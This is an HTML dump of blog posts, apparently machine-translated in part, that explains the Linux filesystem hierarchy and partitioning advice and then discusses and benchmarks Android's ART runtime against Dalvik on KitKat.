executed by all users. These commands need to be executed if no other file system is mounted. </span><span style="background-color: black; color: cyan;">In the / bin directory under other system commands for file permissions are (chgrp, chmod, chown), copy, create, move and delete directories and files for logging and mounting of file systems, the shell sh and the su program, with which you can change the user ID.</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">In /bin The archive also tools tar and cpio and gzip and gunzip programs pack. With this the administrator can recover a system if the root file system is intact. There is also the network statistics tool netstat and ping to test network connections. Should it be possible to repair a system on the network must also ftp or tfpt and its associated utilities available for an FTP connection.</span><span style="background-color: black; color: cyan;">-------</span><span style="background-color: black; color: cyan;">/ boot</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">The directory must not be on the root partition. It contains the static files of the boot loader and all other necessary files to boot up. Here is also usually the system kernel, if it is not to be found in the root directory.</span><span style="background-color: black; color: cyan;">-------- </span><span style="background-color: black; color: cyan;">/ dev</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">Also, the / dev directory or its contents will be needed on the root partition. In this directory are character-oriented and block special files through which the access to devices such as hard drives and DVD drives or interfaces is controlled.</span><span style="background-color: black; color: cyan;">-----</span><span style="background-color: black; color: cyan;">/ etc</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The / etc directory is as much on the root partition . After all there and in the underlying directories are the files for the system configuration. Some of the directories under / etc must be present on any Unix system , while others are optional . The configuration files for the X Window subsystem , so the graphics server , can be found in the / etc/X11 directory . There may also be the directory / etc / opt. There you will find in appropriate subdirectories , configuration files from the packages from the / opt directory .</span><span style="background-color: black; color: cyan;">---------</span><span style="background-color: black; color: cyan;">/ home</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The / home directory hierarchy can be on anything other than the root partition. It contains the subdirectories the respective home directories of users. The names of the different home directories are identical to the user name. Your own home directory is the one to which a user has all access rights. Here he can create directories , delete files and store its own configuration data.</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">It makes sense to the / home hierarchy on its own partition, or even better: hard drive to create, and this for several reasons: there are no Benutzerquotas available, a user can bring the entire system to overflow. Another advantage of the physically separate / home hierarchy: one can relatively easily update a system and prevents the user directories then ON again.</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">/ lib, / lib32 and / lib64</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">The / lib directory, in turn, must be on the root partition. This also applies for the corresponding 32 - or 64-bit libraries that are available in the respective subdirectories. Because these directories contain shared libraries and kernel modules, ie files with statements and definitions that are needed by multiple programs or loaded by the kernel. The libraries are needed to boot the system.</span><span style="background-color: black; color: cyan;">-----------</span><span style="background-color: black; color: cyan;">/ media</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">Even / media belongs to the root partition. There, however, it takes hardly any space, because the directory is actually empty. It only serves as a mount for floppy disks (/ media / floppy), CD and DVD drives (/ media / cdrom / media / cdrecorder, / media / dvd) or Zip disks (/ media / zip). On systems with more than one same device can exist, which all end with a number of other directories (such as / media/cdrom0 and / media/cdrom1 for two CD drives), but even in such cases should continue to be the unqualified name (/ media / cdrom) remain.</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">In some distributions there is also directly below the root directory mount points such as / cdrom. This does not correspond to the FHS. The reason given against such directories FHS authors argue that the same stood by mount points in the root of some more directories at the root level.</span><span style="background-color: black; color: cyan;">-----</span><span style="background-color: black; color: cyan;">/mnt</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">For the directory / mnt, the same applies as for / media: It should also be on the root partition. The list is as empty as / media and intended to temporarily mount a file system. This uses the administrator about this, make a backup or mirror disks. The bad habit, / mnt to use the directory for the mounting of drives, is in conflict with this Unix tradition.</span><span style="background-color: black; color: cyan;">---</span><span style="background-color: black; color: cyan;">/opt</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The / opt directory is not needed for booting the system and can be outsourced to the / home directory to another partition. It serves to accommodate additional software packages which are not installed via the package manager. These are then available in the directory / opt / <package> / bin or / opt / <Provider>, manual pages for the programs are placed in / opt / <package> / share / man filed. Configuration files for these packages are stored in / etc / opt, variable data programs are usually in the directory / var / opt installed.</span><span style="background-color: black; color: cyan;">----</span><span style="background-color: black; color: cyan;">/ proc</span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The / proc directory is mentioned in the FHS only in the appendix. There is no standard Unix directory in Linux but it is the de facto standard for managing process and system information. Other derivatives make the example in the / dev / kmem. The / proc directory does not need to be on the root partition.</span><span style="background-color: black; color: cyan;">--- </span><span style="background-color: black; color: cyan;">/ root </span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;"><br /></span><span style="background-color: black; color: cyan;">The administrator not only has all rights, he also has his home directory is not in the same place as the ordinary user, but directly under / in the / root directory. The directory must not necessarily be present on the root partition. Then, make sure that it points to the root directory if it can not be located.</span><span style="background-color: black; color: cyan;">-------</span><span style="background-color: black; color: cyan;">/ sbin</span><span style="background-color: black; color: cyan;">This directory must exist on the root partition again . It contains programs for system administration . Even these, are still in the same directories / usr / sbin and / usr / local / sbin .</span><span style="background-color: black; color: cyan;">Different: The specific features of Linux devote the authors of the FHS a separate chapter.</span><span style="background-color: black; color: cyan;">Anders: The specific features of Linux devote the authors of the FHS a separate chapter.</span><span style="background-color: black; color: cyan;">However sbin directory are / as opposed to the other two commands for booting , data recovery and restoration are required in addition to the commands in the / bin directory. Here , for example, are programs such as stop shutdown , fdisk to partition and fsck programs for checking the file systems. In the / usr/sbin- and / usr / local / sbin directories instead are programs that are used only after mounting the / usr directory.</span><span style="background-color: black; color: cyan;">-----</span><span style="background-color: black; color: cyan;">/ srv</span><span style="background-color: black; color: cyan;">The / srv directory must not be on the root partition. It contains data for services provided by the system, such as CGI scripts or data from a Web or FTP server. In most cases the data are sorted according to the protocol , ie www , ftp, rsync or cvs .</span><span style="background-color: black; color: cyan;">---------</span><span style="background-color: black; color: cyan;">/ tmp</span><span style="background-color: black; color: cyan;">The / tmp directory must not be included on the root partition. It is used for programs that generate the temporary files. Even users have write permission to this directory. Temporarily store files there but not makes sense , because the Posix standard recommends that data be deleted from the / tmp directory at the latest at every system startup . On some systems the / tmp directory is deleted regularly via cron job .</span><span style="background-color: black; color: cyan;">----</span><span style="background-color: black; color: cyan;">/ usr</span><span style="background-color: black; color: cyan;">The second largest area in the System directory is the / usr directory hierarchy. This area must not be on the root partition , because important system commands are either under / bin or under / sbin . In / usr , however, are available for each readable data ; Host-specific or other variable data is not stored here . In the / usr hierarchy , there are several directories that are required:</span><span style="background-color: black; color: cyan;">In stand most user commands ,</span><span style="background-color: black; color: cyan;">- are in header files for the C programming language,</span><span style="background-color: black; color: cyan;">- contains libraries ,</span><span style="background-color: black; color: cyan;">- contains the hierarchy of the local machine ( and is nitially after installation mostly empty) with the subdirectories and</span><span style="background-color: black; color: cyan;">- does not contain quite as important utilities for the administrator to be used only after booting the system , and</span><span style="background-color: black; color: cyan;">- in are architecture-independent data such as dictionaries , man pages or program documentations.</span><span style="background-color: black; color: cyan;">------</span><span style="background-color: black; color: cyan;">Depending on the configuration of the system , there are other sub-directories such as / usr/X11R6 with the X Window System , / usr / games with games and / usr / src with the source code. Also, on older systems, for compatibility reasons, various symbolic links on Unterzeichnisse of / var be present , such as / usr / spool as a link to the directory / var / spool . Reason for the shift : In the directory / usr is often accessed . However, it should not be fragmented by writing and deleting temporary data, since this would affect the throughput .</span><span style="background-color: black; color: cyan;">----------</span><span style="background-color: black; color: cyan;">/ var</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">In / var, see files with variable data. Also, this directory must not on the root partition. Under / var are, for example, spool directories for mail users' mailboxes or print jobs, log files (eg, the file / var / log / messages with system messages) and also some other temporary files. All the data is written to the / var directory structure during operation, the previously found under / usr place.</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">The directory hierarchy / var should be stored on a separate partition, just because in so many variable data are included. Who does not want or can, at least this part of the directory hierarchy should not harbor on the same partition as the root partition. Because it can quickly lead to an overflow of partition, for example, if the mail transport constantly producing errors and the log files full writes to the edge of the partition.</span><span style="background-color: black; color: cyan;">----------</span><span style="background-color: black; color: cyan;">Recommendations for a partition scheme</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">To partition a Linux system, there are several possibilities. Most importantly, the root partition "/" must always physically contain / bin, / dev, / etc, / lib (/ lib32 and / lib64) and / sbin included. In Debian you go from about 150 to 250 MB of space for these directories.</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">Ins / tmp directory users can write. It can use, among others, for images that are to be written to CD, DVD or Blu-ray. Some of these programs use the / tmp directory to temporarily storing therein data itself. Anyone who uses such burning programs should therefore schedule the space accordingly and reserve about 1 to 20 GB for the / tmp directory. Who does not use burning program that comes with much less space for the temporary directory. The Debian installation guide speaks in the case of 40 to 100 Mbytes of space.</span><span style="background-color: black; color: cyan;">The / usr directory hierarchy is the part of the file system, which first requires the most space. According to the Debian installation instructions must be reserved for a generous workstation or server installation 4-6 GB.</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">The / var directory hierarchy contains variable data. Here mails and software packages are cached, written log files and stored databases. In Debian the subdirectory / var / www is FHS-unkonform instead of / srv / www still used for Web pages. The size of / var strongly depends on the usage of the system. The space required can vary from 30 MB up to several GB.</span><span style="background-color: black; color: cyan;">----------</span><span style="background-color: black; color: cyan;">In / home mount the directories of the users . Accordingly, the size of the number of system users depends. According to the Debian installation instructions you should reserve at least 100 MB. Which these days is however rather ridiculous given the amount on MP3 files , photos and movies, store the user on the system. Here, the recommendation can only be : Make as much space available.</span><span style="background-color: black; color: cyan;">Although it is generally made with a disk and a partition. But Cleverly is the use of at least two hard drives. A disk may contain the system , the other home directories . So you can quickly take over the / home directory hierarchy to another system . The home directories , you can also manage the Logical Volume Manager , It has the advantage that you can add more partitions of the directory tree if necessary easy.</span><span style="background-color: black; color: cyan;">On the system disk again you should at least for / var, and / tmp define your own partitions - for / tmp , because all the write in the directory / var from the already mentioned reason : Does the partition becomes full , for example because the computer flooded with spam is , at least the rest of the system still responds . Tip: Anyone who has to worry about such a thing, and the directory / var / mail can swap on a separate partition .</span><span style="background-color: black; color: cyan;">Another partition, you can provide for the swap space . Although the cache may simply lie in a file. Efficient However, it is this to treat a separate partition. It divided in their opinions as to whether the should be on the system board or elsewhere: Some are of the view swap space and the system should be on different SCSI or IDE channels . As a size recommendation is available in Linux circles, the Pi -by- Rule of thumb : The swap partition should be as large as the RAM .</span><span style="background-color: black; color: cyan;">---------</span><span style="background-color: black; color: cyan;">Current project UsrMove</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">Many well-known distributions such as Fedora 17 have currently to some directories. This is to / bin, / sbin, / lib and / lib64, which migrate to the directory / usr. It was suggested this cleanup the directory structure of the developers of Fedora distributions like Gentoo and openSUSE (suggested for version 12.2) will follow.</span><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">The initiative, known as UsrMove the root tree is to act tidier, the sharing of / bin and / usr / bin is also more confusing than useful. The compatibility with the existing structure is still maintained by symbolic links. When and if the modified directory structure flows into the FHS standard, is currently unknown. (MJE / cvi / tecChannel)</span><span style="background-color: black; color: cyan;">-------------------</span><span style="background-color: black; color: cyan;">SO THATS ALL,I HOPE IT HELPS A LIL BIT!!!</span><span style="background-color: black; color: cyan;">I WISH A NICE DAY AND MANY GREEEEETZ!!!</span><span style="background-color: black; color: cyan;">-CALIBAN666- 2014</span><span style="background-color: black; color: cyan;">------------------</span></h2>
<h4>
</h4>
<br />-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-86472290056706165042013-11-18T00:12:00.000+01:002013-11-18T00:12:08.032+01:00ABOUT THE NEW ART FEATURE (DALVIK REPLACEMENT) ON KitKat<h2>
<span style="background-color: black; color: cyan; font-family: Roboto; font-size: 13px;">About ART-Dalvik replacement-feature which comes with Android 4.4 KitKat</span></h2>
<h2>
<span style="background-color: black; color: cyan; font-family: Roboto; font-size: 13px;">It's fair to say that Android went through some chaotic years in the beginning. The pace of development was frantic as the operating system grew at an unprecedented rate. An as-yet undetermined future led to decisions that were made to conform to existing hardware and architectures, the available development tools, and the basic need to ship working code on tight deadlines. Now that the OS has matured, the Android team has been giving more attention to some of the components that haven't aged quite as well. One of the oldest pieces of the Android puzzle is the Dalvik runtime, the software responsible for making most of your apps run. That's why Google's developers have been working for over 2 years on ART, a replacement for Dalvik that promises faster and more efficient execution, better battery life, and a more fluid experience.</span></h2>
<div>
<span style="background-color: black;"><span style="color: cyan;"><span style="font-family: Roboto; font-size: 13px;">What Is ART?</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">ART, which stands for Android Runtime, handles app execution in a fundamentally different way from Dalvik. The current runtime relies on a Just-In-Time (JIT) compiler to interpret bytecode, a generic version of the original application code. In a manner of speaking, apps are only partially compiled by developers, then the resulting code must go through an interpreter on a user's device each and every time it is run. The process involves a lot of overhead and isn't particularly efficient, but the mechanism makes it easy for apps to run on a variety of hardware and architectures. ART is set to change this process by pre-compiling that bytecode into machine language when apps are first installed, turning them into truly native apps. This process is called Ahead-Of-Time (AOT) compilation. By removing the need to spin up a new virtual machine or run interpreted code, startup times can be cut down immensely and ongoing execution will become faster, as well.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">At present, Google is treating ART as an experimental preview, something for developers and hardware partners to try out. Google's own introduction of ART clearly warns that changing the default runtime can risk breaking apps and causing system instability. ART may not be completely ready for prime time, but the Android team obviously feels like it should see the light of day. If you're interested in trying out ART for yourself, go to Settings -> Developer options -> Select runtime. Activating it requires a restart to switch from libdvm.so to libart.so, but be prepared to wait about 10 minutes on the first boot-up while your installed apps are prepared for the new runtime. Warning: Do not try this with the Paranoid Android (or other AOSP) build right now. There is an incompatibility with the current gapps package that causes rapid crashing, making the interface unusable.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">How Much Better Is It?</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">For now, the potential gains in efficiency are difficult to gauge based on the version of ART currently shipping with KitKat, so it isn't representative of what will be possible once it has been extensively optimized. Thus far, estimates and some benchmarks suggest that the new runtime is already capable of cutting execution time in half for most applications. This means that long-running, processor-intensive tasks will be able to finish faster, allowing the system to idle more often and for longer. Regular applications will also benefit from smoother animations and more instantaneous responses to touch and other sensor data. Additionally, now that the typical device contains a quad-core (or greater) processor, many situations will call for activating fewer cores, and it may be possible to make even better use of the lower-powered cores in ARM's big.LITTLE architecture. How much this improves battery life and performance will vary quite a bit based on usage scenarios and hardware, but the results could be substantial.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">What Are The Compromises?</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">There are a couple of drawbacks to using AOT compilation, but they are negligible compared to the advantages. To begin with, fully compiled machine code will usually consume more storage space than that of bytecode. This is because each symbol in bytecode is representative of several instructions in machine code. Of course, the increase in size isn't going to be particularly significant, not usually more than 10%-20% larger. That might sound like a lot when APKs can get pretty large, but the executable code only makes up a fraction of the size in most apps. For example, the latest Google+ APK with the new video editing features is 28.3 MB, but the code is only 6.9 MB. The other likely notable drawback will come in the form of a longer install time for apps - the side effect of performing the AOT compilation. How much longer? Well, it depends on the app; small utilities probably won't even be noticed, but the more complex apps like Facebook and Google+ are going to keep you waiting. A few apps at a time probably won't bother you, but converting more than 100 apps when you first switch to ART is a serious test of patience. This isn't entirely bad, as it allows the AOT compiler to work a little harder to find even more optimizations than the JIT compiler ever had the opportunity to look for. All in all, these are sacrifices I'm perfectly happy to make if it will bring an otherwise more fluid experience and increased battery life.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Overall, ART sounds like a pretty amazing project, one that I hope to see as a regular part of Android sooner rather than later. The improvements are likely to be pretty amazing while the drawbacks should be virtually undetectable. There is a lot more than I could cover in just this post alone, including details on how it works, benchmarks, and a lot more. I'll be diving quite a bit deeper into ART over the next few days, so keep an eye out!</span></span></span></div>
<div>
<span style="background-color: black;"><span style="color: cyan;"><span style="font-family: Roboto; font-size: 13px;"><br /></span></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqAZcG5xT58Q1GpI8c5HStKMRcEaryGN-I_qP9fqz5ZuI2mJhMeHNA1L56cH9co7HD5LyOXD2Ph2sj4XovyhT2elJ3bE-l43Ncz4KJ34FG-7VJQK8bL4LkjdkDbWUFv9yB_6lbHnK4CLs/s1600/2390928.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqAZcG5xT58Q1GpI8c5HStKMRcEaryGN-I_qP9fqz5ZuI2mJhMeHNA1L56cH9co7HD5LyOXD2Ph2sj4XovyhT2elJ3bE-l43Ncz4KJ34FG-7VJQK8bL4LkjdkDbWUFv9yB_6lbHnK4CLs/s1600/2390928.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6GtarfXZIW8OUMu_PgR7JTUh-ejxWXvMmcTBAD29bU8U58ivEwktywEpJjI7yqihp_0yxQha755G56KaDfPoCUm8MyBBR_U4hPrHDwvIym2gJ32UzJQOaTLD_Ribnp4BTtlJBhSawF98/s1600/2390929.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6GtarfXZIW8OUMu_PgR7JTUh-ejxWXvMmcTBAD29bU8U58ivEwktywEpJjI7yqihp_0yxQha755G56KaDfPoCUm8MyBBR_U4hPrHDwvIym2gJ32UzJQOaTLD_Ribnp4BTtlJBhSawF98/s1600/2390929.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRSsML3Pj_Rd-S54tFAaE94npKLta1kHLNPdNZlwLgoHzFppJlI8aYq7O1VPAL4rv7wlnsSAfG5043TtnfCp1WRbkp-A0mrChX3eQ8WnLnjExoUFT9ToINw0J4r8Nlx-hawoZV_0EJqTY/s1600/2390927.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRSsML3Pj_Rd-S54tFAaE94npKLta1kHLNPdNZlwLgoHzFppJlI8aYq7O1VPAL4rv7wlnsSAfG5043TtnfCp1WRbkp-A0mrChX3eQ8WnLnjExoUFT9ToINw0J4r8Nlx-hawoZV_0EJqTY/s1600/2390927.png" /></a></div>
<div>
<span style="background-color: black;"><span style="color: cyan;"><span style="font-family: Roboto; font-size: 13px;"><br /></span></span></span></div>
<div>
<br /></div>
<div>
<span style="background-color: black; color: cyan; font-family: Roboto; font-size: 13px;">By now you've probably heard about ART and how it will improve the speed and performance of Android, but how does it actually perform today? The new Android Runtime promises to cut out a substantial amount of overhead by losing the baggage imposed by Dalvik, which sounds great, but it's still far from mature and hasn't been seriously optimized yet. I took to running a battery of benchmarks against it to find out if the new runtime could really deliver on these high expectations. ART is definitely showing some promise, but I have to warn you that you probably won't be impressed with the results you'll see here today.</span></div>
<div>
<span style="background-color: black;"><span style="color: cyan;"><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Reality Check</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Let's be honest, benchmarking apps tend to be inaccurate and unreliable, often giving wildly varying results even when run in precisely identical situations. However, they are the only option available for recording meaningful and measurable values on performance. Further, since most popular benchmarks are built on the NDK (Native Development Kit), they won't gain any benefit from running under ART. Despite these limitations, there are some interesting and unexpected results that help us learn a little more about the current state of performance.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">How The Benchmarks Were Run</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Each benchmark was run at least 4 times on a completely stock Nexus 5 (it isn't even rooted) with both Dalvik and ART. To ensure there was no interference from apps at startup, a minimum of 5 minutes was given after a reboot before any tests were run. In addition to the 6 benchmarking apps listed below, I also tried 2 browser benchmarks (SunSpider & BrowserMark) in Chrome, but neither displayed significantly different scores. So, let's get to the results.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Linpack for Android</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">One of the key factors in getting good test results is knowing that the tools are measuring the right thing. While many of the benchmark apps target the NDK, a few stick to the SDK. The first and most consistent among them is Linpack for Android, a port of the already popular benchmarking app used throughout numerous computing platforms. It produces a score by performing a series of calculations on floating point numbers. I think this is an obvious choice after reading the description, "This test is more a reflection of the state of the Android Dalvik Virtual Machine than of the floating point performance of the underlying processor." Thanks to ART, scores are 10%-14% higher than they would be with Dalvik. Not too shabby…</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Real Pi Benchmark</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Calculating digits of Pi is another popular way of stressing a processor, and particularly suitable because most methods stick to integer calculations and avoid floating-point math entirely. Along with Linpack, this gives us coverage of both basic mathematical operations. On top of it, Real Pi happens to use native code to perform the AGM+FFT formula, but uses Java for Machin's formula. On the native side, ART came out about 3.5% faster, probably due to interface optimizations rather than mathematical performance. More importantly, testing with the java code turned out to be 12% faster. (link) Note: in this test, lower numbers are better.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Quadrant Standard</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">The previous tests are highly specific to mathematical performance, so it's time to branch out to test more of the system. Both Linpack and Real Pi show some positive improvement with ART, but Quadrant gave a result that borders on the amazing, perhaps even too good. The CPU score is off the charts for ART, almost doubling that of Dalvik, which is substantially better than even the most optimistic estimates we've heard so far... While tests for I/O, 2D, and 3D rendering show fairly negligible differences, Dalvik does take an oddly high 9% advantage in the memory test.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">3D Mark</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">I was leery of using a benchmarking app that clearly focuses on the NDK, as it theoretically shouldn't be affected very much by ART. However, as the tests were run, an interesting pattern emerged where the Dalvik runtime repeatedly held a slight advantage. It's difficult to attribute a reason for Dalvik to do better here, but I'm open to theories.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">AnTuTu Benchmark</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Breaking performance down even further, AnTuTu helps to expose a pattern. It's increasingly clear that ART is making significant strides with floating-point operations, but doesn't usually turn out huge gains for integers. A strong showing in "RAM Operation" also hints at better use of caching as opposed to just raw memory I/O. These high scores indicate areas where the Dalvik virtual machine was probably very expensive, causing more extensive overhead. The other results weren't particularly remarkable except for the Storage I/O, which might suggest a couple of specific optimizations. One significantly low score appears for UX Dalvik, but it's not clear what AnTuTu is measuring, so this may not be particularly relevant.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">CF-Bench</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">For the ultimate in number production, Chainfire's own benchmark tool takes out a lot of the guesswork by performing tests built on both the SDK and NDK. Again, native code displays a small but curious advantage on Dalvik. Here we can see the integer calculations are swinging back towards Dalvik, as well. Mostly confirming the pattern, floating-point operations demonstrate a significant speed gain, this time in the 23%-33% range.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Other Interesting Measurements</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Measuring the first boot after switching runtimes isn't your typical test, no doubt, but the time it takes is quite striking. I wanted to record just how long it took to complete both the App Optimization step and then the total time to actually reach the unlock screen. When I ran this test, I had 149 apps installed.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">The Other Stuff</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">While numbers can be helpful, they don't tell the full story. Benchmarks usually push the hardware to work as hard as possible for a few seconds, then switch to a new test that does the same thing. Sadly, this ignores details that aren't easily measured. I don't have a good way to measure the smarter timing of memory management (especially garbage collection) or better handling of multiple threads. While I can't show numbers for these things, I can demonstrate them. The classic test for a browser simply requires flinging the page as fast as possible and watching it try to keep up. After stress testing Chrome for Android with the mobile version of David's gigantic HTC One review, it turns out that even the supercharged SoC of the Nexus 5 can't quite keep up while running on Dalvik… ART, on the other hand, never lost a pixel. Take a look for yourselves.Videos below.</span></span></span></div>
<div>
<span style="background-color: black;"><span style="color: cyan;"><span style="font-family: Roboto; font-size: 13px;"><br /></span></span></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="font-family: Roboto; font-size: 13px;">To be fair, switching to the desktop version and giving a single fling will easily send you into blank screen territory, but it's still obvious that the renderer catches up faster on ART than on Dalvik. When more optimizations are in place, maybe we won't be far off from flawless scrolling even in the desktop version. For another demonstration, a user by the name of spogbiper has posted his own side-by-side comparison with two Nexus 7s. The one running ART seems to be more responsive.</span></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="font-family: Roboto; font-size: 13px;"><br /></span></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="font-family: Roboto; font-size: 13px;">YOUTUBE LINKS</span></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="font-family: Roboto; font-size: 13px;"><br /></span></span></div>
<div>
<span style="background-color: black; color: cyan;"><a href="http://www.youtube.com/watch?v=JGyktLPvORU&feature=youtu.be">Fast scrolling in Chrome with the Dalvik runtime</a></span></div>
<div>
<span style="background-color: black; color: cyan;"><a href="http://www.youtube.com/watch?v=L9lpCssSdMc&feature=youtu.be">Fast scrolling in Chrome with the ART runtime</a></span></div>
<div>
